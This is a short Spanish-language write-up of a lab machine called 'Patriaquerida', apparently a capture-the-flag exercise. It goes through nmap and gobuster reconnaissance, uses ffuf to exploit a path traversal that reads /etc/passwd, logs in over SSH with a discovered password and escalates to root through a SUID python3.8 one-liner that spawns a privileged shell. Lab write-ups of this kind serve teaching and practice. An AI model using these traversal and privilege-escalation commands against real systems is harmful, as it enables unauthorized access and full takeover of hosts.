Patriaquerida

✍️ Autor: JuanR🔍 Dificultad: Fácil 📅 Fecha de creación: 12/01/2025

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 172.17.0.2

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 172.17.0.2

para obtener más información sobre esos puertos específicamente.

En el puerto 80 corre la página por defecto de Apache por lo que realizamos un escaneo de directorios.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml

Observamos que se encuentra un archivo llamado index.php, así que procederemos a explorar el contenido de esa ruta.

Nos indican directamente dónde buscar, así que accedemos a la ruta: 172.17.0.2/.hidden_pass.

Encontramos lo que parece ser una contraseña: balu.

🚀 EXPLOTACIÓN

Dado que existen rutas visibles, utilizaremos FFUZ para explorar más a fondo. Tal como se muestra en la imagen, el servidor es vulnerable a Path Traversal, lo que nos permite acceder al archivo /etc/passwd.

ffuf -u "http://172.17.0.2/index.php?FUZZ=/etc/passwd" -w directory-list-2.3-medium.txt -fw 12

Con la contraseña balu nos podemos loguear con el usuario pinguino.

ssh pinguino@172.17.0.2

🔐 PRIVILEGIOS

Indagando encontramos la contraseña del usuario mario por lo que pivotamos a él.

Al buscar permisos SUID encontramos que tenemos con python3.8.

find / -perm -4000 2>/dev/null
/usr/bin/python3.8 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

Last updated

Was this helpful?